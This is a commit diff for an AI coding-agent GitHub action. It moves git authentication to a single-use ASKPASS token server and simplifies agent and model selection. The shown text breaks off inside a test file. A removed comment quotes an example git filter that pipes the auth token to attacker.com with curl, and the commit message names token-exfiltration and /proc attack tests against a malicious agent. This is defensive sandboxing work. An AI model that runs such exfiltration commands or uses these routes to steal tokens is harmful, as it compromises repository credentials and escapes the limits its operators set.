Agent & model refactor (#478)
* agent & model refactor with ASKPASS git auth, UI restructure, clerk v7 Made-with: Cursor * fix stale agent/effort refs, add tests for askpass + model resolution - reviewCleanup.ts: payload.agent -> payload.model, remove effort - selectMode.ts PlanEdit: remove delegation/subagent/effort references - pullfrog.yml.ts: update env vars (drop GOOGLE_API_KEY/CURSOR_API_KEY, add GOOGLE_GENERATIVE_AI_API_KEY/XAI_API_KEY/MOONSHOT_API_KEY/OPENCODE_API_KEY) - FlagsSettings/RepoInstructionsSection: remove stale effort/timeout copy - new: gitAuthServer.test.ts (10 tests — lifecycle, token delivery, tamper detection, script gen) - new: agent.test.ts (4 tests — default opentoad, AGENT_OVERRIDE, invalid override) - new: models.test.ts (19 tests — parseModel, resolution, registry invariants) - update models.dev snapshot Made-with: Cursor * fix changed-agents.sh to filter legacy agent files from CI matrix legacy agent files (claude.ts, codex.ts, etc.) are @ts-nocheck and not exported from index.ts. changed-agents.sh now reads index.ts imports to build the active agent set and treats changes to inactive files as non-agent changes (opentoad canary only). Made-with: Cursor * remove MCP file tools, old agent harnesses, and obsolete security tests ASKPASS-based git auth makes the old MCP file tool security layer unnecessary: - token never in subprocess env, so symlink/gitattributes/hook attacks can't exfiltrate it - agents now use native file tools (OpenCode builtin read/edit) deleted: - action/mcp/file.ts (file_read, file_write, file_edit, file_delete, list_directory) - action/mcp/index.ts (dead re-export) - agent harnesses: claude.ts, codex.ts, cursor.ts, gemini.ts, opencode.ts - opencode-runner.ts (inlined into opentoad.ts) - security tests that validated MCP file tool restrictions - commented-out three-step review flow (~300 lines) - sanitizeSchema/wrapSchema dead code from mcp/shared.ts - OPENCODE_MODEL_MINI/MAX env vars (effort-level model overrides removed) updated test prompts to use generic file ops instead of MCP tool names. restored pkg-json-scripts + requirements-txt-attack (test --ignore-scripts defense). Made-with: Cursor * bump actions/checkout v4 → v6 (node 24) node 20 actions deprecated june 2, 2026. Made-with: Cursor * temporarily disable fail-fast on agnostic tests to debug checkout@v6 Made-with: Cursor * re-enable fail-fast on agnostic tests Made-with: Cursor * fix test token mismatch: mint OIDC tokens scoped to target repo CI tests override GITHUB_REPOSITORY to pullfrog/test-repo but inherit the runner's GITHUB_TOKEN (scoped to pullfrog/app), causing 401s on every run-context fetch. Clear GITHUB_TOKEN in the test subprocess so ensureGitHubToken() mints a properly scoped token via OIDC. Also centralizes the default GITHUB_REPOSITORY in runAgentStreaming instead of repeating it in every test file, and fixes preview-cleanup to remove workers from all queues (not just name-matching ones). Made-with: Cursor * fix ensureGitHubToken to try OIDC when app credentials are absent ensureGitHubToken only attempted token minting when GITHUB_APP_ID and GITHUB_PRIVATE_KEY were set. In CI, OIDC is available but app creds aren't exposed — so the guard prevented minting entirely. Made-with: Cursor * dead code cleanup: remove remnants of deleted agents, file tools, effort system remove unused @anthropic-ai/claude-agent-sdk and @openai/codex-sdk deps, orphaned file-tool security tests, dead GEMINI_MODEL passthrough, stale opencode-runner wiki refs, deleted test file references, and MCP file tool docs. rename docs/effort → docs/models. fix vitest setup: move dotenv to globalSetup (runs once before forks instead of per-file, 19s → 200ms). Made-with: Cursor * address review feedback: remove dead code, update stale references - remove AGENT_OVERRIDE (only opentoad exists) - remove shellToolName plumbing (always restricted shell) - bump action version to 0.0.179 - remove CURSOR_API_KEY from all workflows/configs - remove OPENCODE_MODEL_MINI/MAX from workflows/docs - delete wiki/effort.md, rewrite docs/effort.mdx as "Models" - rewrite wiki/modes.md: orchestrator/subagent → single agent - simplify flag system: drop builtin flag extraction (debug, effort, timeout, agent), keep custom flag replacement only - reserve all legacy flag names to prevent custom flag conflicts Made-with: Cursor * regenerate lockfile after removing claude-agent-sdk and codex-sdk Made-with: Cursor * fix import ordering, add lockfile check to pre-push hook Made-with: Cursor * remove dead debug payload field, stale packageExtensions Made-with: Cursor * merge proc-sandbox and token-exfil into a single test proc-sandbox and token-exfil were duplicative — both tested that SANDBOX_TEST_TOKEN couldn't be exfiltrated. consolidated into token-exfil with shell:restricted (which actually exercises filterEnv) and the /proc attack vector hints from proc-sandbox. Made-with: Cursor * fix wiki adversarial.md to match actual tokenExfil validator Made-with: Cursor
This commit is contained in:
committed by
pullfrog[bot]
parent
5bcfae990a
commit
6d25adfd1a
@@ -110,7 +110,6 @@ export function createProcessOutputActivityTimeout(ctx: ActivityTimeoutContext):
|
||||
if (monitor) {
|
||||
monitor.stop();
|
||||
}
|
||||
// matched by delegateTimeout test validator — update tests if changed
|
||||
rejectFn(new Error(`activity timeout: no output for ${idleSec}s`));
|
||||
},
|
||||
});
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { resolveAgent } from "./agent.ts";
|
||||
|
||||
describe("resolveAgent", () => {
|
||||
it("returns opentoad", () => {
|
||||
const agent = resolveAgent();
|
||||
expect(agent.name).toBe("opentoad");
|
||||
});
|
||||
});
|
||||
+4
-68
@@ -1,70 +1,6 @@
|
||||
import { type Agent, agents } from "../agents/index.ts";
|
||||
import type { AgentName } from "../external.ts";
|
||||
import { log } from "./cli.ts";
|
||||
import type { ResolvedPayload } from "./payload.ts";
|
||||
import type { RepoSettings } from "./runContext.ts";
|
||||
import type { Agent } from "../agents/index.ts";
|
||||
import { agents } from "../agents/index.ts";
|
||||
|
||||
/**
|
||||
* Check if an agent has API keys available (from process.env)
|
||||
*/
|
||||
function agentHasApiKeys(agent: Agent): boolean {
|
||||
// empty apiKeyNames means agent accepts any *API_KEY* env var
|
||||
if (agent.apiKeyNames.length === 0) {
|
||||
return Object.keys(process.env).some((key) => key.includes("API_KEY") && process.env[key]);
|
||||
}
|
||||
return agent.apiKeyNames.some((envKey) => !!process.env[envKey]);
|
||||
}
|
||||
|
||||
function getAvailableAgents(): Agent[] {
|
||||
return Object.values(agents).filter((agent) => agentHasApiKeys(agent));
|
||||
}
|
||||
|
||||
export function resolveAgent(params: {
|
||||
payload: ResolvedPayload;
|
||||
repoSettings: RepoSettings;
|
||||
}): Agent {
|
||||
const agentOverride = process.env.AGENT_OVERRIDE as AgentName | undefined;
|
||||
log.debug(
|
||||
`» determineAgent: agentOverride=${agentOverride}, payload.agent=${params.payload.agent}, repoSettings.defaultAgent=${params.repoSettings.defaultAgent}`
|
||||
);
|
||||
const configuredAgentName =
|
||||
agentOverride || params.payload.agent || params.repoSettings.defaultAgent || undefined;
|
||||
|
||||
if (configuredAgentName) {
|
||||
const agent = agents[configuredAgentName];
|
||||
if (!agent) {
|
||||
throw new Error(`invalid agent name: ${configuredAgentName}`);
|
||||
}
|
||||
|
||||
// if explicitly configured (via override or payload), respect it even without matching keys
|
||||
// this allows users to force an agent selection (will fail later with clear error if no keys)
|
||||
const isExplicitOverride = agentOverride !== undefined || params.payload.agent !== null;
|
||||
if (isExplicitOverride) {
|
||||
log.info(`» selected configured agent: ${agent.name}`);
|
||||
return agent;
|
||||
}
|
||||
|
||||
// for repo-level defaults, check if agent has matching keys before selecting
|
||||
if (agentHasApiKeys(agent)) {
|
||||
log.info(`» selected configured agent: ${agent.name}`);
|
||||
return agent;
|
||||
}
|
||||
|
||||
// fall through to auto-selection
|
||||
const availableAgents = getAvailableAgents();
|
||||
log.warning(
|
||||
`Repo default agent ${agent.name} has no matching API keys. Available: ${
|
||||
availableAgents.map((a) => a.name).join(", ") || "none"
|
||||
}`
|
||||
);
|
||||
}
|
||||
|
||||
const availableAgents = getAvailableAgents();
|
||||
if (availableAgents.length === 0) {
|
||||
throw new Error("no agents available - missing API keys");
|
||||
}
|
||||
|
||||
const agent = availableAgents[0];
|
||||
log.info(`» no agent configured, defaulting to first available agent: ${agent.name}`);
|
||||
return agent;
|
||||
export function resolveAgent(): Agent {
|
||||
return agents.opentoad;
|
||||
}
|
||||
|
||||
+22
-56
@@ -1,72 +1,38 @@
|
||||
import type { Agent } from "../agents/index.ts";
|
||||
import { providers } from "../models.ts";
|
||||
import { getApiUrl } from "./apiUrl.ts";
|
||||
|
||||
/**
|
||||
* Build a helpful error message for missing API key with links to repo settings
|
||||
*/
|
||||
function buildMissingApiKeyError(params: { agent: Agent; owner: string; name: string }): string {
|
||||
const knownApiKeys: Set<string> = new Set(Object.values(providers).flatMap((p) => [...p.envVars]));
|
||||
|
||||
function buildMissingApiKeyError(params: { owner: string; name: string }): string {
|
||||
const apiUrl = getApiUrl();
|
||||
const settingsUrl = `${apiUrl}/console/${params.owner}/${params.name}`;
|
||||
|
||||
const githubRepoUrl = `https://github.com/${params.owner}/${params.name}`;
|
||||
const githubSecretsUrl = `${githubRepoUrl}/settings/secrets/actions`;
|
||||
|
||||
let secretNameList: string;
|
||||
if (params.agent.apiKeyNames.length === 0) {
|
||||
secretNameList =
|
||||
"any API key (e.g., `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, `GEMINI_API_KEY`, etc.)";
|
||||
} else {
|
||||
const secretNames = params.agent.apiKeyNames.map((key) => `\`${key}\``);
|
||||
secretNameList =
|
||||
params.agent.apiKeyNames.length === 1 ? secretNames[0] : `one of ${secretNames.join(" or ")}`;
|
||||
}
|
||||
return `no API key found. Pullfrog requires at least one LLM provider API key.
|
||||
|
||||
return `Pullfrog is configured to use ${params.agent.displayName}, but the associated API key was not provided.
|
||||
to fix this, add the required secret to your GitHub repository:
|
||||
|
||||
To fix this, add the required secret to your GitHub repository:
|
||||
1. go to: ${githubSecretsUrl}
|
||||
2. click "New repository secret"
|
||||
3. set the name to your provider's key (e.g., \`ANTHROPIC_API_KEY\`, \`OPENAI_API_KEY\`, \`GEMINI_API_KEY\`)
|
||||
4. set the value to your API key
|
||||
5. click "Add secret"
|
||||
|
||||
1. Go to: ${githubSecretsUrl}
|
||||
2. Click "New repository secret"
|
||||
3. Set the name to ${secretNameList}
|
||||
4. Set the value to your API key
|
||||
5. Click "Add secret"
|
||||
|
||||
Alternatively, configure Pullfrog to use a different agent at ${settingsUrl}`;
|
||||
configure your model at ${settingsUrl}`;
|
||||
}
|
||||
|
||||
function collectApiKeys(agent: Agent): Record<string, string> {
|
||||
const apiKeys: Record<string, string> = {};
|
||||
export function validateAgentApiKey(params: {
|
||||
agent: { name: string };
|
||||
owner: string;
|
||||
name: string;
|
||||
}): void {
|
||||
const hasAnyKey = Object.entries(process.env).some(
|
||||
([key, value]) => value && typeof value === "string" && knownApiKeys.has(key)
|
||||
);
|
||||
|
||||
// read API keys from environment variables
|
||||
for (const envKey of agent.apiKeyNames) {
|
||||
const value = process.env[envKey];
|
||||
if (value) {
|
||||
apiKeys[envKey] = value;
|
||||
}
|
||||
}
|
||||
|
||||
// empty apiKeyNames means agent accepts any *API_KEY* env var
|
||||
if (agent.apiKeyNames.length === 0) {
|
||||
for (const [key, value] of Object.entries(process.env)) {
|
||||
if (value && typeof value === "string" && key.includes("API_KEY")) {
|
||||
apiKeys[key] = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return apiKeys;
|
||||
}
|
||||
|
||||
export function validateAgentApiKey(params: { agent: Agent; owner: string; name: string }): void {
|
||||
const apiKeys = collectApiKeys(params.agent);
|
||||
|
||||
if (Object.keys(apiKeys).length === 0) {
|
||||
throw new Error(
|
||||
buildMissingApiKeyError({
|
||||
agent: params.agent,
|
||||
owner: params.owner,
|
||||
name: params.name,
|
||||
})
|
||||
);
|
||||
if (!hasAnyKey) {
|
||||
throw new Error(buildMissingApiKeyError({ owner: params.owner, name: params.name }));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,11 +2,6 @@ export const PULLFROG_DIVIDER = "<!-- PULLFROG_DIVIDER_DO_NOT_REMOVE_PLZ -->";
|
||||
|
||||
const FROG_LOGO = `<a href="https://pullfrog.com"><picture><source media="(prefers-color-scheme: dark)" srcset="https://pullfrog.com/logos/frog-white-full-18px.png"><img src="https://pullfrog.com/logos/frog-green-full-18px.png" width="9px" height="9px" style="vertical-align: middle; " alt="Pullfrog"></picture></a>`;
|
||||
|
||||
export interface AgentInfo {
|
||||
displayName: string;
|
||||
url: string;
|
||||
}
|
||||
|
||||
export interface WorkflowRunFooterInfo {
|
||||
owner: string;
|
||||
repo: string;
|
||||
@@ -18,8 +13,6 @@ export interface WorkflowRunFooterInfo {
|
||||
export interface BuildPullfrogFooterParams {
|
||||
/** add "Triggered by Pullfrog" link */
|
||||
triggeredBy?: boolean;
|
||||
/** add "Using [agent](url)" link */
|
||||
agent?: AgentInfo | undefined;
|
||||
/** add "View workflow run" link */
|
||||
workflowRun?: WorkflowRunFooterInfo | undefined;
|
||||
/** alternative: just pass a pre-built URL directly (for shortlinks etc.) */
|
||||
@@ -31,7 +24,7 @@ export interface BuildPullfrogFooterParams {
|
||||
/**
|
||||
* build a pullfrog footer with configurable parts
|
||||
* always includes: frog logo at start, pullfrog.com link and X link at end
|
||||
* order: action links (customParts) > workflow run > agent > attribution > reference links
|
||||
* order: action links (customParts) > workflow run > attribution > reference links
|
||||
*/
|
||||
export function buildPullfrogFooter(params: BuildPullfrogFooterParams): string {
|
||||
const parts: string[] = [];
|
||||
@@ -48,10 +41,6 @@ export function buildPullfrogFooter(params: BuildPullfrogFooterParams): string {
|
||||
parts.push(`[View workflow run](${url})`);
|
||||
}
|
||||
|
||||
if (params.agent) {
|
||||
parts.push(`Using [${params.agent.displayName}](${params.agent.url})`);
|
||||
}
|
||||
|
||||
if (params.triggeredBy) {
|
||||
parts.push("Triggered by [Pullfrog](https://pullfrog.com)");
|
||||
}
|
||||
|
||||
+1
-6
@@ -108,7 +108,6 @@ const testEnvAllowList = new Set([
|
||||
"CI",
|
||||
"GITHUB_ACTIONS",
|
||||
"PULLFROG_DISABLE_SECURITY_INSTRUCTIONS", // disables security messaging for pentest
|
||||
"AGENT_OVERRIDE", // override agent selection for testing
|
||||
"GITHUB_TOKEN",
|
||||
"GH_TOKEN",
|
||||
"GITHUB_REPOSITORY",
|
||||
@@ -118,11 +117,7 @@ const testEnvAllowList = new Set([
|
||||
"ANTHROPIC_API_KEY",
|
||||
"GEMINI_API_KEY",
|
||||
"GOOGLE_GENERATIVE_AI_API_KEY",
|
||||
"CURSOR_API_KEY",
|
||||
"OPENCODE_MODEL", // override OpenCode model (e.g. google/gemini-3-flash-preview) for tests or user preference
|
||||
"OPENCODE_MODEL_MINI", // effort-specific OpenCode model override for mini effort
|
||||
"OPENCODE_MODEL_MAX", // effort-specific OpenCode model override for max effort
|
||||
"GEMINI_MODEL", // override Gemini model (e.g. gemini-3-pro-preview) for tests or user preference
|
||||
"OPENCODE_MODEL",
|
||||
"LOG_LEVEL",
|
||||
"DEBUG",
|
||||
"NODE_ENV",
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
// LLMs sometimes double-escape JSON strings, producing literal \n \t \"
|
||||
// instead of actual newline/tab/quote characters.
|
||||
// detected when the string contains literal \n but no actual newlines.
|
||||
export function fixDoubleEscapedString(str: string): string {
|
||||
if (!str.includes("\n") && str.includes("\\n")) {
|
||||
return str.replace(/\\n/g, "\n").replace(/\\t/g, "\t").replace(/\\"/g, '"');
|
||||
}
|
||||
return str;
|
||||
}
|
||||
+98
-98
@@ -1,49 +1,26 @@
|
||||
/**
|
||||
* git authentication helper using GIT_CONFIG_PARAMETERS.
|
||||
* injects Authorization header via http.extraheader config.
|
||||
* token is never exposed to shell environment - only to the git subprocess.
|
||||
* git authentication via GIT_ASKPASS.
|
||||
*
|
||||
* see wiki/git.md "Subcommand Whitelist" for full security documentation.
|
||||
* a localhost HTTP server serves tokens via single-use UUID codes.
|
||||
* each $git() call writes a unique askpass script with the server
|
||||
* port+code baked into the file body — no secrets in subprocess env.
|
||||
*
|
||||
* see wiki/askpass.md for full security documentation.
|
||||
*/
|
||||
|
||||
import { execSync, spawnSync } from "node:child_process";
|
||||
import { execSync } from "node:child_process";
|
||||
import { createHash } from "node:crypto";
|
||||
import { readFileSync, realpathSync } from "node:fs";
|
||||
import { readFileSync, realpathSync, unlinkSync } from "node:fs";
|
||||
import { log } from "./cli.ts";
|
||||
import type { GitAuthServer } from "./gitAuthServer.ts";
|
||||
import { filterEnv } from "./secrets.ts";
|
||||
import { spawn } from "./subprocess.ts";
|
||||
|
||||
/**
|
||||
* whitelist of git subcommands safe to run with an auth token in GIT_CONFIG_PARAMETERS.
|
||||
*
|
||||
* git operations fall into two categories:
|
||||
*
|
||||
* SAFE (remote-only, no working tree):
|
||||
* fetch - downloads objects, updates refs
|
||||
* push - uploads objects
|
||||
*
|
||||
* DANGEROUS (touch working tree, trigger filters that inherit the full subprocess env):
|
||||
* checkout, merge, pull, reset, stash, add, commit, diff (with worktree)
|
||||
*
|
||||
* a malicious agent can set up a git filter via `.git/config`:
|
||||
* [filter "evil"]
|
||||
* clean = bash -c 'echo "$GIT_CONFIG_PARAMETERS" | curl https://attacker.com'
|
||||
*
|
||||
* if we ran e.g. `$git("checkout", ...)`, that filter would execute with the token
|
||||
* in env and exfiltrate it. fetch and push don't touch working tree files, so
|
||||
* filters never run. this was verified empirically.
|
||||
*
|
||||
* operations that need working tree access (checkout, merge) use `$()` from shell.ts
|
||||
* which has NO token in its environment.
|
||||
*/
|
||||
type SafeGitSubcommand = "fetch" | "push";
|
||||
|
||||
type GitAuthOptions = {
|
||||
token: string;
|
||||
cwd?: string;
|
||||
// when true, disables hooks during authenticated git operations to prevent
|
||||
// token exfiltration via malicious hooks reading GIT_CONFIG_PARAMETERS.
|
||||
// should be true whenever shell is not "enabled" (both restricted and disabled).
|
||||
restricted?: boolean;
|
||||
};
|
||||
|
||||
type GitResult = {
|
||||
@@ -58,7 +35,6 @@ type GitBinaryInfo = {
|
||||
sha256: string;
|
||||
};
|
||||
|
||||
/** resolved at startup via initGitBinary(), before any agent code runs */
|
||||
let gitBinary: GitBinaryInfo | undefined;
|
||||
|
||||
function hashFile(path: string): string {
|
||||
@@ -66,107 +42,131 @@ function hashFile(path: string): string {
|
||||
}
|
||||
|
||||
/**
|
||||
* resolve and fingerprint the git binary. must be called once at startup (in main())
|
||||
* before any agent code runs, so the path and hash reflect the untampered binary.
|
||||
* resolve and fingerprint the git binary. must be called once at startup
|
||||
* (in main()) before any agent code runs, so the path and hash reflect
|
||||
* the untampered binary.
|
||||
*
|
||||
* resolves symlinks via realpath so the hash is of the actual binary, not a symlink.
|
||||
* a malicious agent with sudo could replace the binary later, which is caught by
|
||||
* verifyGitBinary() before each authenticated call.
|
||||
* resolves symlinks via realpath so the hash is of the actual binary.
|
||||
* a malicious agent with sudo could replace the binary later, which is
|
||||
* caught by verifyGitBinary() before each authenticated call.
|
||||
*/
|
||||
export function resolveGit(): void {
|
||||
// `which git` resolves PATH; realpath follows symlinks (e.g. /usr/bin/git -> /usr/lib/git-core/git)
|
||||
const whichPath = execSync("which git", { encoding: "utf-8" }).trim();
|
||||
const resolvedPath = realpathSync(whichPath);
|
||||
const sha256 = hashFile(resolvedPath);
|
||||
gitBinary = { path: resolvedPath, sha256 };
|
||||
log.info(`» git binary: ${resolvedPath} (sha256: ${sha256.slice(0, 12)}...)`);
|
||||
log.info(`git binary: ${resolvedPath} (sha256: ${sha256.slice(0, 12)}...)`);
|
||||
}
|
||||
|
||||
/**
|
||||
* verify the git binary hasn't been tampered with since startup.
|
||||
* re-hashes the binary and compares to the startup fingerprint.
|
||||
* throws if the binary was replaced (e.g. by a malicious agent with sudo).
|
||||
*/
|
||||
function verifyGitBinary(): string {
|
||||
if (!gitBinary) {
|
||||
throw new Error("git binary not initialized - call resolveGit() at startup");
|
||||
throw new Error("git binary not initialized — call resolveGit() at startup");
|
||||
}
|
||||
const currentHash = hashFile(gitBinary.path);
|
||||
if (currentHash !== gitBinary.sha256) {
|
||||
throw new Error(
|
||||
`git binary tampered with! expected sha256 ${gitBinary.sha256}, got ${currentHash}. ` +
|
||||
`git binary tampered: expected sha256 ${gitBinary.sha256}, got ${currentHash}. ` +
|
||||
`path: ${gitBinary.path}`
|
||||
);
|
||||
}
|
||||
return gitBinary.path;
|
||||
}
|
||||
|
||||
// --- auth server ---
|
||||
|
||||
let authServer: GitAuthServer | undefined;
|
||||
|
||||
export function setGitAuthServer(server: GitAuthServer): void {
|
||||
authServer = server;
|
||||
}
|
||||
|
||||
/**
|
||||
* execute authenticated git command.
|
||||
* execute authenticated git command via ASKPASS.
|
||||
*
|
||||
* subcommand is an explicit first argument restricted to "fetch" | "push" at the type level,
|
||||
* preventing accidental use with working-tree operations that would expose the token to filters.
|
||||
* subcommand is restricted to "fetch" | "push" — operations that talk to
|
||||
* a remote and need credentials. working-tree operations (checkout, merge)
|
||||
* use $() from shell.ts which has no token.
|
||||
*
|
||||
* uses Basic auth format (AUTHORIZATION: basic <base64>) matching actions/checkout.
|
||||
* the Bearer format doesn't work with git's extraheader mechanism.
|
||||
*
|
||||
* the git binary path is resolved once at startup via resolveGit() and verified
|
||||
* (sha256 hash check) before each call to detect tampering by a malicious agent.
|
||||
* per call: registers a one-time code with the auth server, writes a
|
||||
* unique askpass script with port+code baked in, spawns git with
|
||||
* GIT_ASKPASS pointing to the script, and deletes the script in finally.
|
||||
*
|
||||
* @example
|
||||
* $git("fetch", ["origin", "main"], { token, restricted: true });
|
||||
* $git("push", ["-u", "origin", "feature"], { token, restricted: true });
|
||||
* await $git("fetch", ["origin", "main"], { token });
|
||||
* await $git("push", ["-u", "origin", "feature"], { token });
|
||||
*/
|
||||
export function $git(
|
||||
export async function $git(
|
||||
subcommand: SafeGitSubcommand,
|
||||
args: string[],
|
||||
options: GitAuthOptions
|
||||
): GitResult {
|
||||
): Promise<GitResult> {
|
||||
const gitPath = verifyGitBinary();
|
||||
|
||||
if (!authServer) {
|
||||
throw new Error("git auth server not initialized — call setGitAuthServer() at startup");
|
||||
}
|
||||
|
||||
const cwd = options.cwd ?? process.cwd();
|
||||
|
||||
// SECURITY: disable hooks during authenticated operations to prevent token exfiltration.
|
||||
// in restricted mode, agents can write .git/hooks/ via shell; in disabled mode, defense-in-depth.
|
||||
if (options.restricted) {
|
||||
const hasHooksOverride = args.some(
|
||||
(arg) => arg.toLowerCase().includes("hookspath") || arg.toLowerCase().includes("hooks")
|
||||
);
|
||||
if (hasHooksOverride) {
|
||||
throw new Error("Blocked: git args contain hooks-related config");
|
||||
}
|
||||
}
|
||||
const fullArgs = options.restricted
|
||||
? ["-c", "core.hooksPath=/dev/null", subcommand, ...args]
|
||||
: [subcommand, ...args];
|
||||
const code = authServer.register(options.token);
|
||||
const scriptPath = authServer.writeAskpassScript(code);
|
||||
|
||||
// -c flags override local .git/config — defense-in-depth against
|
||||
// agent-set config that could spawn subprocesses before ASKPASS runs
|
||||
const fullArgs = [
|
||||
"-c",
|
||||
"core.fsmonitor=false",
|
||||
"-c",
|
||||
"credential.helper=",
|
||||
"-c",
|
||||
"protocol.file.allow=never",
|
||||
"-c",
|
||||
"core.sshCommand=ssh",
|
||||
subcommand,
|
||||
...args,
|
||||
];
|
||||
|
||||
log.debug(`git ${fullArgs.join(" ")}`);
|
||||
|
||||
// use Basic auth format matching actions/checkout
|
||||
// format: AUTHORIZATION: basic base64(x-access-token:TOKEN)
|
||||
// Bearer format does NOT work with git's extraheader - git ignores it
|
||||
const basicCredential = Buffer.from(`x-access-token:${options.token}`).toString("base64");
|
||||
try {
|
||||
const result = await spawn({
|
||||
cmd: gitPath,
|
||||
args: fullArgs,
|
||||
cwd,
|
||||
env: {
|
||||
...filterEnv(),
|
||||
GIT_ASKPASS: scriptPath,
|
||||
GIT_TERMINAL_PROMPT: "0",
|
||||
// blocks env-based git config injection from outer processes.
|
||||
// GIT_CONFIG_COUNT=0 blocks the newer KEY_n/VALUE_n mechanism.
|
||||
// GIT_CONFIG_PARAMETERS="" clears the legacy quoted-list mechanism.
|
||||
// both are needed — they are independent systems.
|
||||
GIT_CONFIG_COUNT: "0",
|
||||
GIT_CONFIG_PARAMETERS: "",
|
||||
},
|
||||
activityTimeout: 0,
|
||||
});
|
||||
|
||||
const result = spawnSync(gitPath, fullArgs, {
|
||||
cwd,
|
||||
env: {
|
||||
...filterEnv(),
|
||||
// inject auth header via GIT_CONFIG_PARAMETERS - never stored, only for this process
|
||||
GIT_CONFIG_PARAMETERS: `'http.https://github.com/.extraheader=AUTHORIZATION: basic ${basicCredential}'`,
|
||||
// disable terminal prompts (would hang in CI)
|
||||
GIT_TERMINAL_PROMPT: "0",
|
||||
},
|
||||
encoding: "utf-8",
|
||||
maxBuffer: 50 * 1024 * 1024,
|
||||
});
|
||||
if (result.stderr.includes("askpass-compromised")) {
|
||||
log.info("askpass code was already consumed — token has been revoked");
|
||||
throw new Error("git auth failed — askpass code was already consumed, token revoked");
|
||||
}
|
||||
|
||||
if (result.status !== 0) {
|
||||
const stderr = result.stderr?.trim() ?? "";
|
||||
log.info(`git ${subcommand} failed: ${stderr}`);
|
||||
throw new Error(`git ${subcommand} failed: ${stderr}`);
|
||||
if (result.exitCode !== 0) {
|
||||
const stderr = result.stderr.trim();
|
||||
log.info(`git ${subcommand} failed: ${stderr}`);
|
||||
throw new Error(`git ${subcommand} failed: ${stderr}`);
|
||||
}
|
||||
|
||||
return {
|
||||
stdout: result.stdout.trim(),
|
||||
stderr: result.stderr.trim(),
|
||||
};
|
||||
} finally {
|
||||
try {
|
||||
unlinkSync(scriptPath);
|
||||
} catch {
|
||||
// script may have self-deleted already
|
||||
}
|
||||
}
|
||||
|
||||
return {
|
||||
stdout: result.stdout?.trim() ?? "",
|
||||
stderr: result.stderr?.trim() ?? "",
|
||||
};
|
||||
}
|
||||
|
||||
@@ -0,0 +1,138 @@
|
||||
import { existsSync, mkdtempSync, readFileSync } from "node:fs";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import { afterEach, describe, expect, it } from "vitest";
|
||||
import { type GitAuthServer, startGitAuthServer } from "./gitAuthServer.ts";
|
||||
|
||||
let server: GitAuthServer | undefined;
|
||||
|
||||
afterEach(async () => {
|
||||
if (server) {
|
||||
await server.close();
|
||||
server = undefined;
|
||||
}
|
||||
});
|
||||
|
||||
function makeTmpdir(): string {
|
||||
return mkdtempSync(join(tmpdir(), "askpass-test-"));
|
||||
}
|
||||
|
||||
describe("git auth server lifecycle", () => {
|
||||
it("starts and listens on a port", async () => {
|
||||
const tmp = makeTmpdir();
|
||||
server = await startGitAuthServer(tmp);
|
||||
expect(server.port).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it("closes cleanly", async () => {
|
||||
const tmp = makeTmpdir();
|
||||
server = await startGitAuthServer(tmp);
|
||||
const port = server.port;
|
||||
await server.close();
|
||||
server = undefined;
|
||||
|
||||
// port should no longer accept connections
|
||||
const err = await fetch(`http://127.0.0.1:${port}/test`).catch((e) => e);
|
||||
expect(err).toBeInstanceOf(Error);
|
||||
});
|
||||
});
|
||||
|
||||
describe("token delivery", () => {
|
||||
it("returns token on first request with valid code", async () => {
|
||||
const tmp = makeTmpdir();
|
||||
server = await startGitAuthServer(tmp);
|
||||
const code = server.register("ghs_test_token_12345");
|
||||
|
||||
const res = await fetch(`http://127.0.0.1:${server.port}/${code}`);
|
||||
expect(res.status).toBe(200);
|
||||
const body = await res.text();
|
||||
expect(body).toBe("ghs_test_token_12345");
|
||||
});
|
||||
|
||||
it("returns 404 for unknown code", async () => {
|
||||
const tmp = makeTmpdir();
|
||||
server = await startGitAuthServer(tmp);
|
||||
|
||||
const res = await fetch(`http://127.0.0.1:${server.port}/nonexistent-code`);
|
||||
expect(res.status).toBe(404);
|
||||
});
|
||||
|
||||
it("returns 400 for empty code", async () => {
|
||||
const tmp = makeTmpdir();
|
||||
server = await startGitAuthServer(tmp);
|
||||
|
||||
const res = await fetch(`http://127.0.0.1:${server.port}/`);
|
||||
expect(res.status).toBe(400);
|
||||
});
|
||||
|
||||
it("returns 405 for non-GET methods", async () => {
|
||||
const tmp = makeTmpdir();
|
||||
server = await startGitAuthServer(tmp);
|
||||
const code = server.register("token");
|
||||
|
||||
const res = await fetch(`http://127.0.0.1:${server.port}/${code}`, { method: "POST" });
|
||||
expect(res.status).toBe(405);
|
||||
});
|
||||
});
|
||||
|
||||
describe("single-use enforcement (tamper detection)", () => {
|
||||
it("returns 409 on second use of same code", async () => {
|
||||
const tmp = makeTmpdir();
|
||||
server = await startGitAuthServer(tmp);
|
||||
const code = server.register("ghs_tamper_test");
|
||||
|
||||
const first = await fetch(`http://127.0.0.1:${server.port}/${code}`);
|
||||
expect(first.status).toBe(200);
|
||||
|
||||
const second = await fetch(`http://127.0.0.1:${server.port}/${code}`);
|
||||
expect(second.status).toBe(409);
|
||||
const body = await second.text();
|
||||
expect(body).toBe("compromised");
|
||||
});
|
||||
|
||||
it("each register() call produces an independent code", async () => {
|
||||
const tmp = makeTmpdir();
|
||||
server = await startGitAuthServer(tmp);
|
||||
const code1 = server.register("token-a");
|
||||
const code2 = server.register("token-b");
|
||||
|
||||
expect(code1).not.toBe(code2);
|
||||
|
||||
const res1 = await fetch(`http://127.0.0.1:${server.port}/${code1}`);
|
||||
expect(await res1.text()).toBe("token-a");
|
||||
|
||||
const res2 = await fetch(`http://127.0.0.1:${server.port}/${code2}`);
|
||||
expect(await res2.text()).toBe("token-b");
|
||||
});
|
||||
});
|
||||
|
||||
describe("askpass script generation", () => {
|
||||
it("writes an executable script file", async () => {
|
||||
const tmp = makeTmpdir();
|
||||
server = await startGitAuthServer(tmp);
|
||||
const code = server.register("ghs_script_test");
|
||||
const scriptPath = server.writeAskpassScript(code);
|
||||
|
||||
expect(existsSync(scriptPath)).toBe(true);
|
||||
expect(scriptPath.startsWith(tmp)).toBe(true);
|
||||
|
||||
const content = readFileSync(scriptPath, "utf-8");
|
||||
expect(content).toContain("#!/usr/bin/env node");
|
||||
expect(content).toContain(String(server.port));
|
||||
expect(content).toContain(code);
|
||||
// token should NOT be in the script — only port and code
|
||||
